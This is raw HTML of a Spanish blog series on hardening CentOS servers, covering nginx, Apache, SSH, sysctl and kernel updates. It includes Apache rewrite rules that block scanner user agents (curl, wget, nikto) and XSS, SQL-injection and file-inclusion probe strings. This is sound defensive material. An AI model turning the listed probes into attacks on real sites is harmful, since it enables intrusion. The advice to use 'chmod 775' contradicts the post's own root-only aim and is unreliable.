src="https://imagizer.imageshack.us/v2/416x176q50/673/AIM0ZE.png" /><br /> <br /> <br /> Para coadyuvar a la seguridad del servidor web se deben haber configurado las siguientes opciones del archivo <b>sysctl.conf.</b><br /> <br /> <b>• Evitar ataques smurf</b><br /> <b>• Evitar ataques SYN Flood</b><br /> <div> <br /></div> <div> verificamos el archivo de configuración. con el comando <b>/opt/server/nginx/sbin/nginx -t </b>ó&nbsp;dependiendo de la ubicación de su instalación,&nbsp;</div> <div> <br /></div> ahora ademas de la versión ocultemos que usamos web server nginx al atacante, es editar el fichero <b>src/http/ngx_http_header_filter_module.c&nbsp;</b><br /> <div> y buscamos las líneas:<br /> <div> <div> <b>static char ngx_http_server_string[] = “Server: nginx” CRLF;</b></div> <div> <b>static char ngx_http_server_full_string[] = “Server: ” NGINX_VER CRLF;<span class="Apple-tab-span" style="white-space: pre;"> </span></b></div> <div> <div> Y las cambiamos por ejemplo por estas otras, podemos poner la cabecera que queramos yo por ejemplo simulare tener un webserver Apache.</div> <div> <b>static char ngx_http_server_string[] = “Server: Apache” CRLF;</b></div> <div> <b>static char ngx_http_server_full_string[] = “Server: Apache ” CRLF;<span class="Apple-tab-span" style="white-space: pre;"> </span></b></div> </div> <div> Salvamos el fichero y compilamos de nuevo</div> <div> <br /></div> <div> <b><span style="font-size: large;">8.1<span style="color: windowtext; font-family: Calibri, sans-serif;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Controlar los ataques de desbordamiento de búfer</span></b></div> <div> <br /></div> <div> Editar <b>nginx.conf </b>y establecer las limitaciones de tamaño de búfer para todos los clientes</div> </div> </div> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-style: none; direction: ltr; overflow: visible; padding: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;"><span id="lnum1" style="color: #606060; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> 1: </span><span style="background-color: #f4f4f4; font-size: 11px; line-height: 16px;"><span style="color: #606060; font-family: ’courier new’, courier, monospace;"><b>## Start: Size Limits &amp; Buffer Overflows ##</b> </span></span><span id="lnum2" style="color: #606060; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> 2: </span><span style="background-color: #f4f4f4; font-size: 11px; line-height: 16px;"><span style="color: #606060; font-family: ’courier new’, courier, monospace;">client_body_buffer_size 1K; </span></span><span id="lnum3" style="color: #606060; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> 3:</span><span style="font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> </span><span style="background-color: #f4f4f4; font-size: 11px; line-height: 16px;"><span style="color: #606060; font-family: ’courier new’, courier, monospace;">client_header_buffer_size 1k; </span></span><span id="lnum3" style="color: #606060; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> 4:</span><span style="font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> </span><span style="background-color: #f4f4f4; font-size: 11px; line-height: 16px;"><span style="color: #606060; font-family: ’courier new’, courier, monospace;">client_max_body_size 1k; </span></span><span id="lnum3" style="color: #606060; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> 5:</span><span style="font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> </span><span style="background-color: #f4f4f4; font-size: 11px; line-height: 16px;"><span style="color: #606060; font-family: ’courier new’, courier, monospace;">large_client_header_buffers 2 1k; </span></span><span id="lnum3" style="color: #606060; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> 6:</span><span style="font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> </span><span style="background-color: #f4f4f4; font-size: 11px; line-height: 16px;"><span style="color: #606060; font-family: ’courier new’, courier, monospace;"><b>## END: Size Limits &amp; Buffer Overflows ##</b></span></span></pre> </div> <div> <div style="font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> <!--CRLF--></div> </div> </div> <div style="text-align: justify;"> Cuando,</div> <div style="text-align: justify;"> <b>client_body_buffer_size</b> &nbsp;(por defecto es 8k y 16k) La directiva especifica el tamaño del búfer de solicitud.</div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> <b>client_header_buffer_size</b> &nbsp;establece el tamaño headerbuffer para el encabezado de las solicitudes del cliente. Para la mayoría de las solicitudes un tamaño de búfer de 1K es suficiente. Se puede aumentar este valor si se tiene un header o una cookie grande enviado por el cliente (por ejemplo, el cliente de wap).</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>client_max_body_size</b> &nbsp;asigna el tamaño corporal máximo aceptado la petición del cliente, indica la línea Content-Length en el encabezado de la solicitud.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>large_client_header_buffers</b> asigna el número máximo y el tamaño de los búferes de header’s grandes, para leer a partir de la petición del cliente. Por defecto, el tamaño de una memoria intermedia es igual al tamaño de la página, dependiendo de la plataforma ya sea esta 4K o 8K, si al final de la petición de conexión de trabajo convierte al estado de mantenimiento de conexión, a continuación, se liberan estos tampones. 2x1k aceptan URI datos 2kB. Esto también ayudará a combatir el mal bots y ataques de denegación de servicio.</div> <div> <br /></div> <div> <b><span style="font-size: large;">9<span style="color: windowtext; font-family: Calibri, sans-serif;"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</span>Hardening SSH</span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Para fortalecer la seguridad de un servicio SSH, existen ciertas medidas que deben implementarse con el fin de evitar o dificultar ataques contra la infraestructura.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> En primer lugar, para implementar casi todas las medidas de seguridad que se mencionan a continuación, se debe conocer el fichero de configuración del servidor SSH, que normalmente se encuentra ubicado en <b>"/etc/ssh/sshd_config"</b>.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b><span style="font-size: large;">Usar contraseñas Fuertes:</span></b></div> <div style="text-align: justify;"> Comúnmente los primeros intentos de los atacantes es tratar de acceder para adivinar su nombre de <b>usuario/contraseña</b>. Típicamente un atacante escaneará el <b>puerto 22</b> (el puerto por defecto por el cual ssh escucha) para encontrar máquinas que estén corriendo ssh, y entonces intentarán un ataque de fuerza-bruta contra esta.</div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> <b><span style="font-size: large;">Deshabilitar el acceso como root</span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> La configuración del servidor SSH se encuentra almacenada en el fichero <b>/etc/ssh/sshd_config.</b> Para deshabilitar el acceso de root, asegúrese de tener la siguiente entrada</div> <div style="text-align: justify;"> <br /></div> <div> <div> <b>#Prevent root logins:</b></div> <div> <b>PermitRootLogin no</b></div> <div> Y reiniciar el servicio sshd:</div> <div> <b>service sshd restart</b> o<b>/etc/init.d/sshd restart</b></div> <div> <b><br /></b></div> <div> Si se requiere acceder como root, se debe acceder como un usuario normal y hacer uso del comando SU.</div> <div> <br /></div> <div> <b><span style="font-size: large;">Usar un Puerto No-Estándar</span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Por defecto, SSH escucha las conexiones entrantes en el puerto 22. Para que un atacante determine si SSH se está ejecutando en su máquina, lo más probable es que escanee el puerto 22.</div> <div style="text-align: justify;"> Un método efectivo es ejecutar ssh en un puerto no-estándar. Cualquier puerto sin usar funcionará, pero es preferible usar uno por encima del 1024.</div> <div style="text-align: justify;"> Para hacer los cambios añada una línea como está a su fichero <b>/etc/ssh/sshd_config:</b></div> <div style="text-align: justify;"> <b># Ejecutar ssh en un puerto No-Estándar:</b></div> <div style="text-align: justify;"> <b>Port 2345&nbsp;</b></div> <div style="text-align: justify;"> Y reiniciamos el servicio SSH</div> <div style="text-align: justify;"> <b>Service sshd restart</b></div> </div> <div style="text-align: justify;"> Recuerde hacer cualquier cambio necesario a los puertos de reenvío en su enrutador y a cualquier regla aplicable al cortafuego</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b><span style="font-size: large;">Filtrar SSH en el Cortafuegos</span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Si solamente se requiere tener acceso desde algunas direcciones IP, entonces consideremos la posibilidad de adicionar una regla en el cortafuego de su enrutador o en el de su iptables para limitar el acceso al puerto de SSH a una dirección IP específica. Por ejemplo, en iptables esto podría realizarse con la siguiente regla:</div> <div style="text-align: justify;"> <b>iptables -A INPUT -p tcp -s 72.232.194.162 --dport 22 -j ACCEPT</b></div> <div style="text-align: justify;"> En mi caso simplemente nos dirigimos al administrador de firewalls (FWbuilder) y agregamos la ip y puerto en las políticas del firewall.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b><span style="font-size: large;">Número máximo de intentos de conexión</span></b></div> <div style="text-align: justify;"> <b><span style="font-size: large;"><br /></span></b></div> <div style="text-align: justify;"> Definir un número bajo de intentos de autenticación, reduce el riesgo y evidentemente el éxito, de ataques por fuerza bruta.</div> <div style="text-align: justify;"> Editar el archivo <b>/etc/ssh/sshd_config </b>añadir o modificar:</div> <div style="text-align: justify;"> <b>MaxAuthTries 3</b></div> <div style="text-align: justify;"> Se definen 3 intentos de autenticación máximos.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b style="text-align: start;"><span style="font-size: large;">10<span style="color: windowtext; font-family: Calibri, sans-serif;">&nbsp; &nbsp; &nbsp; &nbsp;A</span></span></b><span style="font-size: large;"><b>ctualización de paquetes, Kernel y Sistema Operativo</b></span></div> <div style="text-align: justify;"> <span style="font-size: large;"><b><br /></b></span></div> <div> <div> La aplicación de los parches de seguridad es una parte importante del mantenimiento de servidores Linux.</div> <div> Haremos uso del gestor de paquetes de yum tratándose de distribuciones basadas en RED HAT</div> <div> <b>yum –y update</b></div> <div> <b><br /></b></div> <div> <b><span style="font-size: large;">Actualización de paquetes y kernel</span></b></div> <div> <b><span style="font-size: large;"><br /></span></b></div> <div style="text-align: justify;"> Mantener los paquetes y kernel actualizados es un paso que nos ayuda a mantener nuestros servidores en buen estado y con los últimos parches de seguridad.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Antes de realizar una actualización de Kernel se debe realizar un backup de la información necesaria.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>• Backup / etc diretory</b></div> <div style="text-align: justify;"> <b>• Copia de seguridad de los registros importantes / var / log</b></div> <div style="text-align: justify;"> <b>• Configuraciones de servidor de copia de seguridad y sitios web</b></div> <div style="text-align: justify;"> <b>• Volcado de bases de datos</b></div> <div style="text-align: justify;"> <b>• Copia de todos lo que la empresa o el administrador necesita si algo sale mal</b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> 1. Para actualizar el kernel de distribuciones basadas en Red Hat.</div> <div style="text-align: justify;"> Primero preparamos el sistema para la descarga y compilacion del kernel con el siguiente comando:</div> <div style="text-align: justify;"> <b>yum -y install gcc glibc-devel ncurses-devel rpm-build</b></div> </div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> <div> Descargamos el kernel actual.</div> <div style="font-weight: bold;"> Ejemplo:</div> <div style="font-weight: bold;"> Cd /usr/src</div> <div style="font-weight: bold;"> Wget http://www.kernel.org/pub/linux/kernel/vX.X/linux-.X.X.tar.bz2</div> <div style="font-weight: bold;"> <br /></div> <div> <div> Descomprimimos el Kernel:</div> <div style="font-weight: bold;"> tar xjf linux-3.5.1.tar.bz2</div> <div style="font-weight: bold;"> ln -s linux-3.5.1 linux</div> <div style="font-weight: bold;"> <br /></div> <div> <div> Configuración del kernel:</div> <div style="font-weight: bold;"> cd /usr/src/linux</div> <div style="font-weight: bold;"> ls /boot/config*</div> <div style="font-weight: bold;"> cp /boot/config-2.6.32-279.el6.i686 /usr/src/linux/.config</div> <div style="font-weight: bold;"> <br /></div> <div style="font-weight: bold;"> <br /></div> <div> <div> Compilamos el Kernel<b>.</b></div> <div style="font-weight: bold;"> sudo make menuconfig</div> <div style="font-weight: bold;"> make</div> <div style="font-weight: bold;"> <br /></div> <div> <div> Y por último lo instalamos</div> <div style="font-weight: bold;"> make modules_install</div> <div style="font-weight: bold;"> make binrpm-pkg</div> <div style="font-weight: bold;"> <br /></div> </div> <div style="font-weight: bold;"> <div> rpm -ivh /root/rpmbuild/RPMS/i386/kernel-headers-X.X.X-X.i386.rpm</div> <div> rpm -ivh /root/rpmbuild/RPMS/i386/kernel-X.X.X-X.i386.rpm</div> <div> <br /></div> </div> </div> </div> <div style="font-weight: bold;"> <br /></div> </div> <div> <div style="font-weight: bold;"> <span style="font-size: large;">Actualización de paquetes:</span></div> <div> Para actualizar los paquetes independientemente&nbsp;</div> <div style="font-weight: bold;"> yum install paquete.arch</div> <div> Para actualizar todos los paquetes: puede hacer uso de&nbsp;</div> <div> <b>Yum – y update</b></div> <div> Y reinicia el servidor</div> <div style="font-weight: bold;"> <br /></div> </div> <div> Esto es todo hasta aquí espero que les sea de mucha ayuda la plantilla de aseguramiento para Servidores CentOS</div> </div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-4072766838024865762014-10-16T11:15:00.000-05:002014-10-17T11:35:56.011-05:00Continuando con la plantilla de aseguramiento de Servidores con sistema CentOS<br /> Leer la&nbsp;<a href="http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte1.html" target="_blank">#Parte1</a><br /> <br /> <b><span style="font-size: large;">6<span style="color: windowtext; font-family: Calibri, sans-serif;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Hardening de Sysctl.conf</span></b><br /> <b><br /></b> <br /> <div style="text-align: justify;"> Con el siguiente comando,&nbsp;Se podrá observar un listado con las variables asignadas y su valor.</div> <b><br /></b> <b>sysctl -a</b><br /> <br /> <div style="text-align: justify;"> En la actualidad existe vulnerabilidad en todos los kernel centos/redhat 6 también hay varios exploit que hacen uso de esta vulnerabilidad hasta el momento no hay un kernel que incluye el parche para esta vulnerabilidad.</div> <br /> <div style="text-align: justify;"> Es posible prevenir el exploit con el siguiente comando.</div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> <b>sysctl -w kernel.perf_event_paranoid=2</b></div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> Ó bien</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>echo "kernel.perf_event_paranoid=2" &gt;&gt; /etc/sysctl.conf</b></div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> Se puede encontrar información acerca esta vulnerabilidad en:</div> <div style="text-align: justify;"> <b></b></div> <div style="text-align: justify;"> <b><a href="https://bugzilla.redhat.com/show_bug.cgi?id=962792">https://bugzilla.redhat.com/show_bug.cgi?id=962792</a></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b><span style="font-size: large;">Evitar ataques Smurf:<span class="Apple-tab-span" style="white-space: pre;"> </span></span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Para evitar este tipo de ataques se agrega/modifica la siguiente línea:</div> <div style="text-align: justify;"> <div> <b>net.ipv4.icmp_echo_ignore_broadcasts = 1</b></div> <div> <b><br /></b></div> <div> <b><span style="font-size: large;">Evitar ataques SYN Flood</span></b></div> <div> <br /></div> <div> Para evitar este tipo de ataques se agrega/modifica la siguiente línea:</div> <div> <b>net.ipv4.tcp_syncookies = 1</b></div> </div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <div> <b><span style="font-size: large;">Si no se va hacer uso de IPV6 Deshabilitarla:</span></b></div> <div> <br /></div> <div> Agregar al final del archivo <span class="Apple-tab-span" style="white-space: pre;"> </span></div> <div> <b>net.ipv6.conf.all.disable_ipv6=1</b></div> <div> <b><br /></b></div> <div> <b><span style="font-size: large;">7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Hardening de Apache</span></b></div> <div> <br /></div> <div> <div> Los servidores de <b>Apache&nbsp;</b>son unos de los elementos o servicios que primero realizan análisis de vulnerabilidades los atacantes.</div> <div> Debido a esto se deben tomar medidas de aseguramiento para la configuración de este.</div> </div> <div> <br /></div> </div> <div style="text-align: justify;"> <div> <b>1.<span class="Apple-tab-span" style="white-space: pre;"> </span>Primero que todo debemos cambiar algunas configuraciones por defecto.</b></div> <div> Abrir <b>/etc/httpd/conf/httpd.conf</b> y cambiar lo siguiente:</div> <div> <b>•<span class="Apple-tab-span" style="white-space: pre;"> </span>ServerSignature Off&nbsp;</b></div> <div> (Oculta su versión de apache en las páginas de error)</div> <div> <b>•<span class="Apple-tab-span" style="white-space: pre;"> </span>ServerTokens Prod</b></div> <div> (Detiene la inclusión de información en el encabezado HTTP que da las versiones de Apache).</div> <div> <br /></div> <div> <div> <b><span style="font-size: large;">Añadiremos una configuración personalizada.&nbsp;</span></b></div> <div> Agregaremos lo siguiente a <b>/etc/httpd/config/httpd.conf</b>. Explicado que hace en los comentarios.</div> </div> </div> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-style: none; direction: ltr; overflow: visible; padding: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;"><span style="background-color: #f4f4f4;"><directory var="" www=""></directory></span></pre> <pre style="background-color: #f4f4f4; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;"><span style="font-family: ’courier new’, courier, monospace;"><span style="font-size: 11px; line-height: 16px;"><b># Utilice esto para evitar el método TRACE http el cual sirve</b> <b># Para recabar (gathering path information) información de proxy o servidores (cache servers)</b> <limitexcept get="" post=""> deny from all </limitexcept> <b># El ‘-’ deshabilita las siguientes funciones # FollowSymLinks – puede ser utilizado para buscar carpetas fuera del árbol del directorio # # Includes – maneja a .shtml; previene incluir archivos del servidor, local file include # # AllowOverride None – previene a los desarrolladores cambiar opciones con el # .htaccess </b> Options -FollowSymLinks -Includes -Indexes -MultiViews AllowOverride None Order allow,deny Allow from all</span></span></pre> <pre style="background-color: #f4f4f4; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;"><span style="font-family: ’courier new’, courier, monospace;"><span style="font-size: 11px; line-height: 16px;"></span></span></pre> </div> </div> <div style="color: black; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> <!--CRLF-- ><pre style="BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: ’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; PADDING-TOP: 0px"><span style="COLOR: #606060" id="lnum3" > 3:</span> } </pre> <!--CRLF--></div> Además, de añadir lo anterior, para prevenir acceso al root de su directorio, añadiremos lo siguiente:<br /> <br /> <b><directory></directory></b><br /> <b>Order deny,allow</b><br /> <b>deny from all</b><br /> <b></b><br /> <b><br /></b> <b><span style="font-size: large;">Cambiemos algunos permisos.</span></b><br /> La carpeta public html (por default es <b>/var/www/html</b>) debería ser escribible solo por el usuario root. Y solo puede ser leída por todo el mundo por ente se configurara así:<br /> <b>chown -R root /var/www&nbsp;</b><br /> <b>chmod -R 775 /var/www</b><br /> <br /> <br /> <b>Actualizar el servidor APACHE a la última versión estable.</b><br /> <div> <div> Desactivar las opciones para explorar directorios, esto se puede hacer con las opciones de directiva dentro de la etiqueta <b><directory></directory></b>; tiene dos posibles valores: <b>none</b> o <b>indexes</b>.</div> <div> <br /></div> <div> <b>Options -Indexes</b></div> <div> Disminuir el valor máximo de tiempo de espera, por defecto, el tiempo de espera es 60 a 300 segundos dependiendo de la versión de <b>Apache</b>. Este se puede disminuir por seguridad (para mejorar la resistencia a ataques de denegación de servicio) así:</div> </div> <div> <b>Timeout 45</b></div> <div> <b><br /></b></div> <div> <div style="font-weight: bold;"> <span style="font-size: large;">Deshabilitar el método TRACE</span></div> <div> A partir de la versión 2 de apache podemos deshabilitar el método TRACE fácilmente con una variable.</div> <div> <b>TraceEnable off</b></div> <div> Esta debe ingresarse en el archivo de configuración principal de apache.</div> <div> <br /></div> <div> <div> Para configurar Apache para enviar el encabezado <b>X-Frame-Options</b> para todas las páginas, añadir lo siguiente a la configuración</div> <div> <b>Header always append X-Frame-Options SAMEORIGIN</b></div> </div> <div> <br /></div> <div> Como plus.. ya que mas adelante pretendo compartir plantilla de aseguramiento para los CMS Joomla y WordPress añadiremos una configuracion segura de Apache para estos CMS si hacen uso de ellos en el servidor.<br /> <br /> <b><span style="font-size: large;">7.1<span style="color: windowtext; font-family: Calibri, sans-serif;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Hardening de Apache para uso de CMS Joomla - WordPress</span></b></div> <div> <div style="font-weight: bold;"> <br /></div> <div style="font-weight: bold;"> <br /></div> <b><span style="font-size: large;">Denegar vulnerabilidades típicas y otros escaneos</span></b><br /> <span class="Apple-tab-span" style="white-space: pre;"> </span><br /> Las siguientes configuraciones deben agregarse al archivo de configuración de apache <b>/etc<span class="Apple-tab-span" style="white-space: pre;"> </span>/httpd/conf/httpd.conf.</b></div> </div> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-style: none; direction: ltr; overflow: visible; padding: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;"><span style="color: #606060; font-family: ’courier new’, courier, monospace;"><span style="font-size: 11px; line-height: 16px;"><b>#Poner fuera a los Script Kiddies</b> RewriteCond %{HTTP_USER_AGENT} ^()$ [NC,OR] # void of UserAgent RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|wkito|pykto|pikto|scan|acunetix|qualys|fuck|kiss|ass|Morfeus|0wn|hack|h4x|h4x0r).* [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR] <b># Sondeo la versiòn de PHP</b> RewriteCond %{QUERY_STRING} (?=PHP).* [NC,OR] <b># Sondeo XSS</b> RewriteCond %{QUERY_STRING} (&lt;|%3C).*script.*(&gt;|%3E) [NC,OR] <b># Sondeo inyecciòn SQL</b> RewriteCond %{QUERY_STRING} ^.*(OR%201=1|/select/|/union/|/insert/|/update/|/delete/).* [NC,OR] <b># Archivos de inlusion Remoto/Local</b> RewriteCond %{QUERY_STRING} (http://)*(?)$ [NC,OR] <b># Bloqueo los ataques comunes de cadenas</b> RewriteCond %{QUERY_STRING} ^.*(/\*|\*/).* [NC,OR] <b># Permirir solo GET y POST </b> RewriteCond %{REQUEST_METHOD} !^(GET|POST)$ [NC,OR] <b># Peticiones en las variables PHP</b> RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2}) <b># Acceso denegado</b> RewriteRule ^(.*)$ index.php [F,L]</span></span><span style="color: black; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> </span></pre> <div style="color: black; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> <!--CRLF-- ><pre style="BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: ’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; PADDING-TOP: 0px"><span style="COLOR: #606060" id="lnum3" > 3:</span> } </pre> <!--CRLF--></div> </div> </div> <br /> Reiniciamos el servicio de apache <b>service httpd restart</b><br /> <b><br /></b> <b>Continuar leyendo</b><br /> <b><a href="http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte3.html" target="_blank">#Parte3</a></b>Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-38681841715082885532014-10-15T21:35:00.001-05:002014-10-17T11:35:29.378-05:00<span style="background-color: white;"><span style="color: #333333; font-family: Arial, sans-serif;"><span style="font-size: 12px; line-height: 20px;">Estuve hace un tiempo trabajando en unas plantillas de aseguramiento para servidores CentOS las cuales&nbsp;estaré&nbsp;compartiendo&nbsp;con ustedes. ya que el tema y la&nbsp;información&nbsp;es algo extensa estaremos&nbsp;dividiéndolas&nbsp;en parte.&nbsp;</span></span></span><br /> <span style="color: #333333; font-family: Arial, sans-serif;"><span style="background-color: white;"><span style="font-size: 12px; line-height: 20px;"><br /></span></span></span> <span style="color: #333333; font-family: Arial, sans-serif;"><span style="background-color: white;"><span style="font-size: 12px; line-height: 20px;">Este es el indice que he realizado para este sistema constando que el sistema como aplicativos o servicios posee <b>APACHE </b>ó <b>NGINX</b></span></span></span><br /> <span style="color: #333333; font-family: Arial, sans-serif;"><span style="background-color: white;"><span style="font-size: 12px; line-height: 20px;"><br /></span></span></span> <br /> <div align="center" class="MsoNormal" style="text-align: center;"> <b><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Plantilla de aseguramiento S.O Centos<o:p></o:p></span></b></div> <div class="MsoNormal" style="text-align: justify;"> <b><span style="font-size: 12.0pt; line-height: 115%;">INDICE<o:p></o:p></span></b></div> <div class="MsoNormal" style="text-align: justify;"> <br /></div> <div class="MsoToc1"> <!--[if supportFields]><span style='font-family:"Calibri","sans-serif"; mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;font-weight: normal'><span style='mso-element:field-begin'></span></span><span style='font-family:"Calibri","sans-serif";mso-ascii-theme-font:minor-latin; mso-hansi-theme-font:minor-latin'><span style='mso-spacerun:yes'> </span>TOC \o "1-2" \h \z \u </span><span style='font-family:"Calibri","sans-serif"; mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;font-weight: normal'><span style='mso-element:field-separator'></span></span><![endif]--><b>1<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Introducción</b><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">.. </span><!--[if supportFields]><span style='color:windowtext;display:none;mso-hide:screen;text-decoration:none; text-underline:none'><span style='mso-element:field-begin'></span> PAGEREF _Toc382492866 \h <span style='mso-element:field-separator'></span></span><![endif]--><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">2<!--[if gte mso 9]><xml> <w:data>08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800360036000000</w:data> </xml><![endif]--></span><!--[if supportFields]><span style='color:windowtext; display:none;mso-hide:screen;text-decoration:none;text-underline:none'><span style='mso-element:field-end'></span></span><![endif]--><span style="font-family: Calibri, sans-serif; font-size: 11pt;"><o:p></o:p></span></div> <div class="MsoToc1"> <b>2<span style="color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Desactivar servicios no necesarios</b><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">. </span><!--[if supportFields]><span style='color:windowtext; display:none;mso-hide:screen;text-decoration:none;text-underline:none'><span style='mso-element:field-begin'></span> PAGEREF _Toc382492867 \h <span style='mso-element:field-separator'></span></span><![endif]--><span style="color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;">3<!--[if gte mso 9]><xml> <w:data>08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800360037000000</w:data> </xml><![endif]--></span><!--[if supportFields]><span style='color:windowtext; 